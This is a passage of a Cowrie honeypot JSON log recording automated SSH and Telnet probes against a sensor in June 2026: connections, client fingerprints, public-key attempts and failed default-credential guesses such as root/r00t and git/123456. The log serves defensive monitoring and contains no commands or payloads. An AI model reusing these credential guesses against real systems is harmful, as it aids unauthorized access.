cdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:04.033777Z","src_ip":"45.156.87.147","session":"a4833b403193","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"r00t","message":"login attempt [root/r00t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:04.281754Z","src_ip":"45.156.87.147","session":"a4833b403193","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.5","message":"Connection lost after 18.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:04.350513Z","src_ip":"220.95.208.142","session":"81fc5d966e16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:05.451737Z","src_ip":"45.156.87.147","session":"a4833b403193","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.87.242.107","src_port":48014,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9e0810a5727","protocol":"ssh","message":"New connection: 208.87.242.107:48014 (10.17.0.5:22) [session: b9e0810a5727]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:05.628054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:05.631773Z","src_ip":"208.87.242.107","session":"b9e0810a5727","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:05.701331Z","src_ip":"208.87.242.107","session":"b9e0810a5727","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3d:d5:4f:63:65:f2:ff:6f:4f:76:bf:af:c8:78:f3:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQRoElOMtOtgUlBWWp4gJJJEAugUKzFuhsVT2bdImnbQ/6n7k29hOmVaz6SZjqy4+eVKtckqlpKFgm1RpAXN56QtYe96drpsjVTRodcXwWPqd5nwVvTX0bCXzPhkyk+5ZtaxtSW5gDRf/u6GAN0mJxkzOoLwq5HlBtzGRdmDNrxT/jpNkLQd+CakQIusgHg+sxkJljiVnOeWs229ttcPME9NvtKkZ+dGfK9zxevRND5h/YXOmzwpvY9rBgQdPy0hTAB1UFH9clDGZHhbVzjeVGboyp+RuvuWZ6QOwmQTuseLb1hYN0MjbodALlhVDPcj3GEs4r3Xj7rwyvb4YGj5gl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3d:d5:4f:63:65:f2:ff:6f:4f:76:bf:af:c8:78:f3:a0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:06.024192Z","src_ip":"208.87.242.107","session":"b9e0810a5727","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3d:d5:4f:63:65:f2:ff:6f:4f:76:bf:af:c8:78:f3:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQRoElOMtOtgUlBWWp4gJJJEAugUKzFuhsVT2bdImnbQ/6n7k29hOmVaz6SZjqy4+eVKtckqlpKFgm1RpAXN56QtYe96drpsjVTRodcXwWPqd5nwVvTX0bCXzPhkyk+5ZtaxtSW5gDRf/u6GAN0mJxkzOoLwq5HlBtzGRdmDNrxT/jpNkLQd+CakQIusgHg+sxkJljiVnOeWs229ttcPME9NvtKkZ+dGfK9zxevRND5h/YXOmzwpvY9rBgQdPy0hTAB1UFH9clDGZHhbVzjeVGboyp+RuvuWZ6QOwmQTuseLb1hYN0MjbodALlhVDPcj3GEs4r3Xj7rwyvb4YGj5gl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:06.026172Z","src_ip":"208.87.242.107","session":"b9e0810a5727","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0d:c2:36:88:3c:af:9b:c0:97:3f:af:ca:7c:39:48:ac","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMNHHq434dJjy91w2G5dPiiX3ZievBN/VU14ZWZGPtahCFSBDfiUR9EOBeISMGG4rKPUPAkoKLUIwuDXazVgFtSEqmGcYSkb7+PkuEBPEbRI2WNI5E7/P9fNR7nqooYRLf4GFf8R6yzI1rJAwijgDhroSK2PFq9sBfprd0nCfmktAAAAFQCxHaMGVuRdIhqicqxqFtwXgTHZ3wAAAIEAkTIP4MBaXgTvY2GkEArJXr8nEj95waZEDLgZDhE5+UCWbraCK02NSvbeN5WySAeFdjsjjJf9c3WcuReg4T8w6mVd8AN3EIgQAF715HHltr6IV2LzGsRBxOsg3O9w4cMeV4yskvpED+6ZPVMQpE13R7x3t8uX7osDwHoVN9QZDwMAAACBAJa9kmSJWw5433+wWJ/gvzeH2q34+CdmgCLI+e2jKWUNAmJfPE8tGMDq6i7Y783h6U+gilgqYWhOKM5nQTm/jzY0LtH7okI6h3mS8RQI/89gYckJGZ9Nvg2BG66HxRfBN1xoVSbGtG69yhwZxk1MXCIkno3jamvAeCNpiUnBhIrC","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 0d:c2:36:88:3c:af:9b:c0:97:3f:af:ca:7c:39:48:ac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:06.094130Z","src_ip":"208.87.242.107","session":"b9e0810a5727","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0d:c2:36:88:3c:af:9b:c0:97:3f:af:ca:7c:39:48:ac","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMNHHq434dJjy91w2G5dPiiX3ZievBN/VU14ZWZGPtahCFSBDfiUR9EOBeISMGG4rKPUPAkoKLUIwuDXazVgFtSEqmGcYSkb7+PkuEBPEbRI2WNI5E7/P9fNR7nqooYRLf4GFf8R6yzI1rJAwijgDhroSK2PFq9sBfprd0nCfmktAAAAFQCxHaMGVuRdIhqicqxqFtwXgTHZ3wAAAIEAkTIP4MBaXgTvY2GkEArJXr8nEj95waZEDLgZDhE5+UCWbraCK02NSvbeN5WySAeFdjsjjJf9c3WcuReg4T8w6mVd8AN3EIgQAF715HHltr6IV2LzGsRBxOsg3O9w4cMeV4yskvpED+6ZPVMQpE13R7x3t8uX7osDwHoVN9QZDwMAAACBAJa9kmSJWw5433+wWJ/gvzeH2q34+CdmgCLI+e2jKWUNAmJfPE8tGMDq6i7Y783h6U+gilgqYWhOKM5nQTm/jzY0LtH7okI6h3mS8RQI/89gYckJGZ9Nvg2BG66HxRfBN1xoVSbGtG69yhwZxk1MXCIkno3jamvAeCNpiUnBhIrC","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:06.096262Z","src_ip":"208.87.242.107","session":"b9e0810a5727","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"27:cc:df:76:2e:63:6b:d6:af:99:21:59:39:c4:3d:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDbNIZ1+nH0bJDmvyVW0U0OUgHdhg0m0J2X96QdZJri3lNyKq9xQWXyFhOT5NSIJZ+LVSp/HXTjH2R3igIa3RstfU1X+XobE+CzI1TDd52JlxmgM/Sjs5yXpngNMNY5o5A/Dtq60ODT2LH46J+bJXeKrKS3lJ/uJDydjqAXbw0Dy0XNadWhWgPmt/HpCxN5sDXNVMyQa/NSglZGAJrOK8s0Dg83fw+nDFczawRwsvO1VeK0ZlJivBDnBl7dwXY1+qdfvqBfDYRKJUp9w13ipDqi1wSqv8j99+YKbTPLrg9ZSCQNNTc3sdigEwGvRkXXVyFFJYFyEHcTfvuOh6ZKkqpcGfKk04DBDudcV96GxNUthNK9u6UrWTz2gtpVvswlMWlpwkhSa3TvDDURwZcVoiJw90bjnZCDCx+ixpUkSC8FacQR26VO7lWAheGd/qrzFVw2FQzzAS6vblo6JIblFLohfcYD/RCKsa4k/jxvcvxSVkPz/jpQCvoLZ09ghhJXc7Io6E+S/cNLKiVtFtAF+h8Petp1O5Ie8lQ4kCCIzTuFb+Uma+KA505p8xnFL55jm9mNnF2RLx7G4tJ3luAgTtVCaxhMo+FLUFC4Ona27hZA+R2MpetJlberSCsIjlt7NBpuhlKZ73S7025DTgPLXh6OifkdDCxWtXdJTNB9MjI0AQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 27:cc:df:76:2e:63:6b:d6:af:99:21:59:39:c4:3d:4c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:06.163356Z","src_ip":"208.87.242.107","session":"b9e0810a5727","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"27:cc:df:76:2e:63:6b:d6:af:99:21:59:39:c4:3d:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDbNIZ1+nH0bJDmvyVW0U0OUgHdhg0m0J2X96QdZJri3lNyKq9xQWXyFhOT5NSIJZ+LVSp/HXTjH2R3igIa3RstfU1X+XobE+CzI1TDd52JlxmgM/Sjs5yXpngNMNY5o5A/Dtq60ODT2LH46J+bJXeKrKS3lJ/uJDydjqAXbw0Dy0XNadWhWgPmt/HpCxN5sDXNVMyQa/NSglZGAJrOK8s0Dg83fw+nDFczawRwsvO1VeK0ZlJivBDnBl7dwXY1+qdfvqBfDYRKJUp9w13ipDqi1wSqv8j99+YKbTPLrg9ZSCQNNTc3sdigEwGvRkXXVyFFJYFyEHcTfvuOh6ZKkqpcGfKk04DBDudcV96GxNUthNK9u6UrWTz2gtpVvswlMWlpwkhSa3TvDDURwZcVoiJw90bjnZCDCx+ixpUkSC8FacQR26VO7lWAheGd/qrzFVw2FQzzAS6vblo6JIblFLohfcYD/RCKsa4k/jxvcvxSVkPz/jpQCvoLZ09ghhJXc7Io6E+S/cNLKiVtFtAF+h8Petp1O5Ie8lQ4kCCIzTuFb+Uma+KA505p8xnFL55jm9mNnF2RLx7G4tJ3luAgTtVCaxhMo+FLUFC4Ona27hZA+R2MpetJlberSCsIjlt7NBpuhlKZ73S7025DTgPLXh6OifkdDCxWtXdJTNB9MjI0AQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:06.165414Z","src_ip":"208.87.242.107","session":"b9e0810a5727","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"88:5a:bf:15:41:08:b4:15:2c:77:d6:90:8f:39:f6:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAoOnjLPFRbudQk6rCW0ocZRr901uOzs1OzudlDx50QldIFD0HKWvL9AiaF0C3jc5iMr+PCnzYwR2RefRhqTxzr2PGs11PzKiW+N+XtZoswaX98DY6oTHfxoqdWyb8tN/2r1vTIn+RJkOuPy1IN71FI19o5q58d9ojX6mkkdDA17+Ro00IFC5Q5Q2PcqP4aieb+efwQ1kPkxcE7AUb7bzDTsiHJT2J/tKzeXQ033qZOe4Xs/SPvB7BOTuW7nmGVPPyAlSm2hRE+XicZpxEFkfTEyDgQgTw2YLhFh74UOotj9c4XUaXbtg9xdfup277OlCqQJS12N/GKicwqyVNBm+hSw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 88:5a:bf:15:41:08:b4:15:2c:77:d6:90:8f:39:f6:4a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:06.233219Z","src_ip":"208.87.242.107","session":"b9e0810a5727","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"88:5a:bf:15:41:08:b4:15:2c:77:d6:90:8f:39:f6:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAoOnjLPFRbudQk6rCW0ocZRr901uOzs1OzudlDx50QldIFD0HKWvL9AiaF0C3jc5iMr+PCnzYwR2RefRhqTxzr2PGs11PzKiW+N+XtZoswaX98DY6oTHfxoqdWyb8tN/2r1vTIn+RJkOuPy1IN71FI19o5q58d9ojX6mkkdDA17+Ro00IFC5Q5Q2PcqP4aieb+efwQ1kPkxcE7AUb7bzDTsiHJT2J/tKzeXQ033qZOe4Xs/SPvB7BOTuW7nmGVPPyAlSm2hRE+XicZpxEFkfTEyDgQgTw2YLhFh74UOotj9c4XUaXbtg9xdfup277OlCqQJS12N/GKicwqyVNBm+hSw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:06.235383Z","src_ip":"208.87.242.107","session":"b9e0810a5727","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3a:20:3a:01:03:29:90:93:92:ef:08:e2:84:f3:63:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDjbsj3lBlO3kTI3ZquXn5ve2EXsuAbidXvfTpDQGriC9AF4dypb/UYofsl4prL9wLsRYGNPjmH8DdrfKCVE8XJDZRvHcl7BIKYE/TbiviN+hTcM7FiCKqjvAkRD0vmjmmtBPck+yN5VwUX+F2zYL5AWAPxo8xSeyRk54pXS+RXB5dXjcgPg0HBvSV3PhQw7fO3BMkEZwYCg3slPHgJI/4SPw7gso0kPnUoLTk8Fw44l5qaYqD6yggTnANVW4HawAFYzuPTM5FzbJpK053QwkQUQiyoYFqYMyOdaiTojyGHM+UBLsi2wrlLIczth2aBf+G1zgCmAQHS8jkcnsmKFQTtV+aBFDuTO9OIt/XzSHng4R/WutDlDT3rFqKFScpktWx70jX4ljKFdUzcViB4dLXr2EkBHQgXcEBEveU0yjSa3RX2nm+XpGk5IwszetCn8+hfM0skbej6dATq98GR5Ifmi4eRnYtZSiaNP7O78LUEe3pTV0Brw5V98O+tcCdgZYU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3a:20:3a:01:03:29:90:93:92:ef:08:e2:84:f3:63:12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:06.307959Z","src_ip":"208.87.242.107","session":"b9e0810a5727","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3a:20:3a:01:03:29:90:93:92:ef:08:e2:84:f3:63:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDjbsj3lBlO3kTI3ZquXn5ve2EXsuAbidXvfTpDQGriC9AF4dypb/UYofsl4prL9wLsRYGNPjmH8DdrfKCVE8XJDZRvHcl7BIKYE/TbiviN+hTcM7FiCKqjvAkRD0vmjmmtBPck+yN5VwUX+F2zYL5AWAPxo8xSeyRk54pXS+RXB5dXjcgPg0HBvSV3PhQw7fO3BMkEZwYCg3slPHgJI/4SPw7gso0kPnUoLTk8Fw44l5qaYqD6yggTnANVW4HawAFYzuPTM5FzbJpK053QwkQUQiyoYFqYMyOdaiTojyGHM+UBLsi2wrlLIczth2aBf+G1zgCmAQHS8jkcnsmKFQTtV+aBFDuTO9OIt/XzSHng4R/WutDlDT3rFqKFScpktWx70jX4ljKFdUzcViB4dLXr2EkBHQgXcEBEveU0yjSa3RX2nm+XpGk5IwszetCn8+hfM0skbej6dATq98GR5Ifmi4eRnYtZSiaNP7O78LUEe3pTV0Brw5V98O+tcCdgZYU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:06.311121Z","src_ip":"208.87.242.107","session":"b9e0810a5727","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:06.379304Z","src_ip":"208.87.242.107","session":"b9e0810a5727","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":39540,"dst_ip":"10.17.0.5","dst_port":22,"session":"eac11c97501c","protocol":"ssh","message":"New connection: 45.156.87.147:39540 (10.17.0.5:22) [session: eac11c97501c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:09.278677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:09.281214Z","src_ip":"45.156.87.147","session":"eac11c97501c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:09.360847Z","src_ip":"45.156.87.147","session":"eac11c97501c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"btc","password":"btc","message":"login attempt [btc/btc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:09.606530Z","src_ip":"45.156.87.147","session":"eac11c97501c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.30576968193054,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:10.675013Z","src_ip":"172.81.62.90","session":"5f26a2546f9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:10.691354Z","src_ip":"45.156.87.147","session":"eac11c97501c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":39552,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c583863972f","protocol":"ssh","message":"New connection: 45.156.87.147:39552 (10.17.0.5:22) [session: 4c583863972f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:15.295151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:15.303708Z","src_ip":"45.156.87.147","session":"4c583863972f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:15.422761Z","src_ip":"45.156.87.147","session":"4c583863972f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123456","message":"login attempt [git/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:15.735442Z","src_ip":"45.156.87.147","session":"4c583863972f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:16.821098Z","src_ip":"45.156.87.147","session":"4c583863972f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":52462,"dst_ip":"10.17.0.5","dst_port":22,"session":"96f30d1e78be","protocol":"ssh","message":"New connection: 45.156.87.147:52462 (10.17.0.5:22) [session: 96f30d1e78be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:21.079607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:32:21.083775Z","src_ip":"45.156.87.147","session":"96f30d1e78be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-